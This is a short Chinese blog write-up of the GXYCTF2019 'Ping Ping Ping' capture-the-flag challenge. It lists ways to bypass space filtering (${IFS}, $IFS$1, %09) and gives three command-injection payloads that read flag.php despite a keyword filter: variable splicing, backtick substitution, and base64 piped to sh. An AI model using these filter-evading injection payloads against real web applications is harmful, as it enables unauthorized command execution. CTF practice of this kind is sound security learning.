[GXYCTF2019]Ping Ping Ping 1

最新推荐文章于 2021-12-27 17:24:22 发布

Hush^

最新推荐文章于 2021-12-27 17:24:22 发布

阅读量106

点赞数

分类专栏： web ctf 新手

本文链接：https://blog.csdn.net/qq_51687381/article/details/116176817

版权

23 篇文章 0 订阅

订阅专栏

15 篇文章 0 订阅

订阅专栏

3 篇文章 0 订阅

订阅专栏

打开后空空如也，随便输入1;ls 开始尝试

直接cat flag尝试

啊这... 看样子是空格被屏蔽了



        1       ${IFS}替换
        2       $IFS$1替换
        3       ${IFS替换
        4       %20替换
        5       <和<>重定向符替换
        6       %09替换

试到了第二个后

说明是 flag 遇到了屏蔽。这往后就触及到了我的知识盲点

进入index.php文件

get到了源码。

我们可以观察到很多方法都被屏蔽了

方法一：变量覆盖

url=?ip=1;a=g;cat$IFS$1fla$a.php;

一个字绝。

方法二：内敛绕过：

?ip=127.0.0.1;cat$IFS$1`ls`

方法三：base64编码：

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

关注

专栏目录